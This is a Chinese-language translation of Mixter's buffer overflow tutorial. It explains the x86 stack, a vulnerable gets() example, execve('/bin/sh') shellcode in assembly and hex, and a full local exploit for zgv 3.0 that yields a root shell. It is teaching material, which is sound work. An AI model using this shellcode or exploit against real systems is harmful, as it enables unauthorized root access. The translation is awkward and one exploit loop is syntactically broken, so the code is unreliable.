新手必讀:緩沖區溢出攻擊
緩沖區溢出出現在用戶輸入的相關緩沖區內,在一般情況下,這是現在的計算機和網絡上的最大的安全隱患之一。這是因為在編程的層次上很容易出現這中問題,這對于不明白或是無法獲得源代碼的使用者來說是不可見的,很多的這中問題就會被利用。本文就是企圖教會新手-C程序員,證明怎么利用一個溢出環境。- Mixter
1 內存
注:我這里的描述方式是在大多數計算機上內存是進程的組織者,但是它是依賴處理器體系結構的類型。這是一個x86的例子,同時也可以大致應用在sparc。
緩沖區溢出的攻擊原理是不應該是重寫隨機輸入和在進程中執行代碼的內存的重寫。要看在什么地方和怎么發生的溢出,讓我們來看下內存是如何組織的。頁面是使用自己相關地址的內存的一個部分,這就意味著內核的進程的初始化,這就沒有必要知道在RAM中存儲的物理地址。進程內存由下面三個部分組成:
代碼段,在這一段代碼中你的數據是通過匯編指令在處理器中執行的。該代碼執行是非線性的,它可以跳過代碼,跳躍,在某種條件下調用函數。以此,我們使用EIP指針,或是指針指令。其中EIP指向的地址總是包含下一個執行代碼。
數據段,變量空間和動態緩沖器。
堆棧段,這是用來給函數傳遞變量的和和作為函數變量的空間。在棧的底部位于每一頁的虛擬內存的盡頭,同時向下增長。匯編命令PUSHL會增加到棧的頂部,POPL會從棧的頂部移除項目并且把它們放到寄存器中。要直接訪問棧寄存器,在棧的頂部有棧頂指針ESP。
2 函數
函數是一段代碼段的代碼,當被調用執行一個任務,之后返回執行的前一個主題。或是,把參數傳遞給函數,在匯編語言中,通常看起來是這樣的。
memory address code
0x8054321 pushl $0x0
0x8054322 call $0x80543a0
0x8054327 ret
0x8054328 leave
...
0x80543a0 popl %eax
0x80543a1 addl $0x1337,%eax
0x80543a4 ret
這會發生什么?主函數調用了function(0);
變量是0,主要把它壓入棧中,同時調用該函數。該函數使用popl來獲取棧中的變量。完成后,返回0×8054327。通常,主函數要把EBP寄存器壓入棧中,主要是儲存和在結束后在儲存。這是幀指針的概念,即允許函數使用自己的偏移地址,在對付攻擊時就變的很無趣了。因為函數將不會返回到原有的執行線程。
我們只需要知道棧。在頂部,我們有函數的內部緩沖區和變量。在此之后,有保存的EBP寄存器(32位,4個字節),然后返回地址,是另外的4個字節。再往下,還有要傳遞給函數的參數,這對我們沒有用。
在這種情況下,我們返回的地址是0×8054327。在函數被調用時,它就會自動的存儲到棧中。如果代碼中存在溢出的地方,這個返回值會被覆蓋,并且指針指向下內存中的下一個位置。
3 一個可以利用的程序實例
讓我們假設我們要利用的函數為:
- void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
- main() { lame (); return 0; }
- Compile and disassemble it:
- # cc -ggdb blah.c -o blah
- /tmp/cca017401.o: In function `lame':
- /root/blah.c:1: the `gets' function is dangerous and should not be used.
- # gdb blah
- /* short explanation: gdb, the GNU debugger is used here to read the
- binary file and disassemble it (translate bytes to assembler code) */
- (gdb) disas main
- Dump of assembler code for function main:
- 0x80484c8 : pushl %ebp
- 0x80484c9 : movl %esp,%ebp
- 0x80484cb : call 0x80484a0
- 0x80484d0 : leave
- 0x80484d1 : ret
- (gdb) disas lame
- Dump of assembler code for function lame:
- /* saving the frame pointer onto the stack right before the ret address */
- 0x80484a0 : pushl %ebp
- 0x80484a1 : movl %esp,%ebp
- /* enlarge the stack by 0×20 or 32. our buffer is 30 characters, but the
- memory is allocated 4byte-wise (because the processor uses 32bit words)
- this is the equivalent to: char small[30]; */
- 0x80484a3 : subl $0×20,%esp
- /* load a pointer to small[30] (the space on the stack, which is located
- at virtual address 0xffffffe0(%ebp)) on the stack, and call
- the gets function: gets(small); */
- 0x80484a6 : leal 0xffffffe0(%ebp),%eax
- 0x80484a9 : pushl %eax
- 0x80484aa : call 0x80483ec
- 0x80484af : addl $0×4,%esp
- /* load the address of small and the address of "%s\n" string on stack
- and call the print function: printf("%s\n", small); */
- 0x80484b2 : leal 0xffffffe0(%ebp),%eax
- 0x80484b5 : pushl %eax
- 0x80484b6 : pushl $0x804852c
- 0x80484bb : call 0x80483dc
- 0x80484c0 : addl $0×8,%esp
- /* get the return address, 0x80484d0, from stack and return to that address.
- you don't see that explicitly here because it is done by the CPU as 'ret' */
- 0x80484c3 : leave
- 0x80484c4 : ret
- End of assembler dump.
3.1 程序溢出
- # ./blah
- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
- # ./blah
- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
- Segmentation fault (core dumped)
- # gdb blah core
- (gdb) info registers
- eax: 0×24 36
- ecx: 0x804852f 134513967
- edx: 0×1 1
- ebx: 0x11a3c8 1156040
- esp: 0xbffffdb8 -1073742408
- ebp: 0×787878 7895160
EBP是0×787878,這就意味我們已經寫入了超出緩沖區輸入可以控制的范圍。0×78的x是十六進制的標志。該過程有32個字節的最大的緩沖器。我們已經在內存中寫入了比用戶輸入更多的數據,因此重寫EBP和返回值的地址是'xxxx',這個過程會嘗試在地址0×787878處重復執行,這就會導致段的錯誤。
3.2 改變返回值地址
讓我們嘗試利用這個程序來返回lame(),我們要改變返回值的地址從0x80484d0到0x80484cb,在內存中,我們有32字節的緩沖區空間|4個字節保存EBP|4個字節的RET。下面是一個很簡單的程序,把4個字節的返回地址變成一個1個字節字符緩沖區:
- main()
- {
- int i=0; char buf[44];
- for (i=0;i<=40;i+=4)
- *(long *) &buf[i] = 0x80484cb;
- puts(buf);
- }
- # ret
- ËËËËËËËËËËË,
- # (ret;cat)|./blah
- test <- user input
- ËËËËËËËËËËË,test
- test <- user input
- test
我們在這里使用這個程序通過了函數兩次。如果有溢出存在,函數的返回值地址是可以變的,從而改變程序的執行線程。
4 Shellcode
為了簡單,Shellcode使用簡單的匯編指令,我們寫在棧上,然后更改返回地址,使它返回到棧內。使用這個方法,我們可以我們可以把代碼插入到一個脆弱的進程中,然后在棧中正確的執行它。所以,讓我們通過插入的匯編代碼來運行一個Shell。一個常見的調用命令是execve(),它加載和運行任意的二進制代碼,終止執行當前的進程。聯機界面給我的應用:
- int execve (const char *filename, char *const argv [], char *const envp[]);
- Lets get the details of the system call from glibc2:
- # gdb /lib/libc.so.6
- (gdb) disas execve
- Dump of assembler code for function execve:
- 0x5da00 : pushl %ebx
- /* this is the actual syscall. before a program would call execve, it would
- push the arguments in reverse order on the stack: **envp, **argv, *filename */
- /* put address of **envp into edx register */
- 0x5da01 : movl 0×10(%esp,1),%edx
- /* put address of **argv into ecx register */
- 0x5da05 : movl 0xc(%esp,1),%ecx
- /* put address of *filename into ebx register */
- 0x5da09 : movl 0×8(%esp,1),%ebx
- /* put 0xb in eax register; 0xb == execve in the internal system call table */
- 0x5da0d : movl $0xb,%eax
- /* give control to kernel, to execute execve instruction */
- 0x5da12 : int $0×80
- 0x5da14 : popl %ebx
- 0x5da15 : cmpl $0xfffff001,%eax
- 0x5da1a : jae 0x5da1d <__syscall_error>
- 0x5da1c : ret
結束匯編轉存。
4.1 使代碼可移植
我們必須應用一個策略使沒有參數的Shellcode在內存中的傳統方式,通過在它們的頁存儲上的精確位置,在編譯中完成。
一旦我們估計shellcode的大小,我們能夠使用指令jmp和call來得到指定的字節在執行線程向前或是向后。為什么使用call?我們有機會使用CALL來自動的在棧內存儲返回地址,這個返回地址是在下一個CALL指令后的4個字節。通過放置一個正確的變量通過使用call,我們間接的把地址壓進了棧中,沒有必要了解它。
- 0 jmp (skip Z bytes forward)
- 2 popl %esi
- … put function(s) here …
- Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
- Z+5 .string (first variable)
(注:如果你要寫的代碼比一個簡單的shell還要復雜,可以多次使用上面的代碼。字符串放在代碼的后面。你知道這些字符串的大小,因此可以計算他們的相對位置,一旦你知道第一個字符串的位置。)
4.2 Shellcode
- global code_start /* we'll need this later, dont mind it */
- global code_end
- .data
- code_start:
- jmp 0×17
- popl %esi
- movl %esi,0×8(%esi) /* put address of **argv behind shellcode,
- 0×8 bytes behind it so a /bin/sh has place */
- xorl %eax,%eax /* put 0 in %eax */
- movb %eax,0×7(%esi) /* put terminating 0 after /bin/sh string */
- movl %eax,0xc(%esi) /* another 0 to get the size of a long word */
- my_execve:
- movb $0xb,%al /* execve( */
- movl %esi,%ebx /* "/bin/sh", */
- leal 0×8(%esi),%ecx /* & of "/bin/sh", */
- xorl %edx,%edx /* NULL */
- int $0×80 /* ); */
- call -0x1c
- .string "/bin/shX" /* X is overwritten by movb %eax,0×7(%esi) */
- code_end:
(相對偏移了0×17和-0x1c通過放在0×0,編譯,反匯編和看看shell代碼的大小。)
這是一個正在工作著的shellcode,雖然很小。你至少使用exit()來調用和依附它(在調用之前)。Shellcode的正真的藝術還包括避免任何二進制0代碼和修改它為例,二進制代碼不包含控制和小寫字符,這將會過濾掉一些問題程序。大多數的東西是通過自己修改代碼來完成的,就是我們想的使用mov %eax,0×7(%esi)指令。我們用\0來取代X,但是在shellcode初始化中沒有\0。
讓我們測試下這些代碼,保存上面的代碼為code.S和下面的文件為code.c:
- extern void code_start();
- extern void code_end();
- #include <stdio.h>
- main() { ((void (*)(void)) code_start)(); }
- # cc -o code code.S code.c
- # ./code
- bash#
現在你可以把shellcode轉變成16進制字符緩沖區。要做到這的最好的方法就是打?。?/p>
- #include <stdio.h>
- extern void code_start(); extern void code_end();
- main() { fprintf(stderr,"%s",code_start);
通過使用aconv –h或bin2c.pl來解析它,可以在http://www.dec.net/~dhg或是http://members.tripod.com/mixtersecurity上找到工具。
5 寫一個利用
讓我們看看如何改變返回地址指向的shellcode進行壓棧,寫一個攻擊的例子。我們將要采用zgv,因為這是可以利用的一個最簡單的事情。
- # export HOME=`perl -e 'printf "a" x 2000'`
- # zgv
- Segmentation fault (core dumped)
- # gdb /usr/bin/zgv core
- #0 0×61616161 in ?? ()
- (gdb) info register esp
- esp: 0xbffff574 -1073744524
那么,這是在棧頂的故障時間,安全的假設是我們能夠使用這作為我們shellcode的返回地址。
現在我們要在我們的緩沖區前增加一些NOP指令,所以我們沒有必要對于我們內存中的shellcode的精確開始的預測100%的正確。這個函數將會返回到棧在我們的shellcode之前,通過這個方式使用NOPs的頭文字JMP命令,跳轉到CALL,在轉回popl,在棧中運行我們的代碼。
記住,棧是這樣的。在最低級的內存地址,ESP指向棧的頂部,初始變量被儲存,即時緩沖器中的zgv儲存了HOME環境變量。在那之后,我們保存了EBP和前一個函數的返回地址。我們必須要寫8個字節或是更多在緩沖區后面,用棧中的新的地址來覆蓋返回地址。
Zgv緩沖器有1024個字節。你可以通過掃視代碼來發現,或是通過在脆弱的函數中搜索初始化的subl $0×400,%esp (=1024)。我們可以把這些放在一起來利用。
5.1 zgv攻擊實例
- /* zgv v3.0 exploit by Mixter
- buffer overflow tutorial – http://1337.tsx.org
- sample exploit, works for example with precompiled
- redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */
- #include <stdio.h>
- #include <unistd.h>
- #include <stdlib.h>
- /* This is the minimal shellcode from the tutorial */
- static char shellcode[]=
- "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
- "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
- #define NOP 0×90
- #define LEN 1032
- #define RET 0xbffff574
- int main()
- {
- char buffer[LEN];
- long retaddr = RET;
- int i;
- fprintf(stderr,"using address 0x%lx\n",retaddr);
- /* this fills the whole buffer with the return address, see 3b) */
- for (i=0;i<LEN;i+=4)
- *(long *)&buffer[i] = retaddr;
- /* this fills the initial buffer with NOP's, 100 chars less than the
- buffer size, so the shellcode and return address fits in comfortably */
- for (i=0;i<LEN-strlen(shellcode)-100);i++)
- *(buffer+i) = NOP;
- /* after the end of the NOPs, we copy in the execve() shellcode */
- memcpy(buffer+i,shellcode,strlen(shellcode));
- /* export the variable, run zgv */
- setenv("HOME", buffer, 1);
- execlp("zgv","zgv",NULL);
- return 0;
- }
- /* EOF */
- We now have a string looking like this:
- [ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
- While zgv's stack looks like this:
- v– 0xbffff574 is here
- [ S M A L L B U F F E R ] [SAVED EBP] [ORIGINAL RET]
- The execution thread of zgv is now as follows:
- main … -> function() -> strcpy(smallbuffer,getenv("HOME"));
此時,zgv做不到邊界檢查,寫入超出了smallbuffer,返回到main的地址被棧中的返回地址覆蓋。function()離不開/ ret和棧中EIP的指向。
- 0xbffff574 nop
- 0xbffff575 nop
- 0xbffff576 nop
- 0xbffff577 jmp $0×24 1
- 0xbffff579 popl %esi 3 <–\ |
- [... shellcode starts here ...] | |
- 0xbffff59b call -$0x1c 2 <–/
- 0xbffff59e .string "/bin/shX"
- Lets test the exploit…
- # cc -o zgx zgx.c
- # ./zgx
- using address 0xbffff574
- bash#
5.2 編寫攻擊的進一步提示
有很都可以被利用的程序,但還是很脆弱。但是這有很多的技巧,你可以通過過濾等方式得到。還有其他的溢出技術,這并不一定要包括改變返回地址或是只是放回地址。有指針溢出,函數分配的指針能夠被覆蓋通過一個數據流,改變程序執行的流程。攻擊的返回地址指向shell環境指針,shellcode為與那里,而不是在棧上。
對于一個熟練掌握shellcode的人是在根本上的自己修改代碼,最初包含可以打印的,非白色的大寫字母,然后修改自己它,把shellcode函數放在要執行的棧上。
你應該永遠不會有任何二進制0在你的shell代碼里,因為如果它包含任何都可能無法正常的工作。但是本文討論了怎么升華某種匯編指令與其他的命令超出了范圍。我也建議讀其他大的數據流怎么超出的,通過aleph1,Taeoh Oh和mudge來寫的。
5.3 重要注意事項
你將不能在Windows 或是 Macintosh上使用這個教程,不要和我要cc.exe和gdb.exe。
6 結論
我們已經知道,一旦用戶依賴存在的的溢出,在90%的時間了是可以利用的,即使利用起來和困難,同時要一些技能。為什么寫這個攻擊很重要呢?因為軟件企業是無知的。在軟件緩沖區溢出方面的漏洞的報告已經有了,雖然這些軟件沒有更新,或是大多數用戶沒有更新,因為這個漏洞很難被利用,沒有人認為這會成為一個安全隱患。然后,漏洞出現了,證明和實踐是程序能夠利用,而且這就要急于更新了。
作為程序員,寫一個安全的程序是一個艱巨的任務,但是要認真的對待。在寫入服務器時就變的更加值得關注,任何類型的安全程序,或是suid root的程序,或是設計使用root來運行,如特別的賬戶或是系統本身。使用范圍檢查,更喜歡分配動態緩沖器,輸入的依賴性,大小,小心/while/etc。收集數據和填充緩沖區,以及一般處理用戶很關心的輸入的循環是我建議的主要原則。
目前在安全行業取得了顯著的成績,使用非可執行的棧,suid包,防衛程序來核對返回值,邊界核查編輯器等技術來阻止溢出問題。你應該在可以使用的情況下使用這些技術,但是不要完全依賴他們。如果你運行vanilla的UNIX的發行版時,不要假設安全,但是有溢出保護或是防火墻/IDS。它不能保證安全,如果你繼續使用不安全的程序,因為_all_安全程序是_software_和包含自身漏洞的,至少他們不是完美的。如果你頻繁的使用updates _和_ security measures,你仍然不能渴望安全,_but_你可以希望。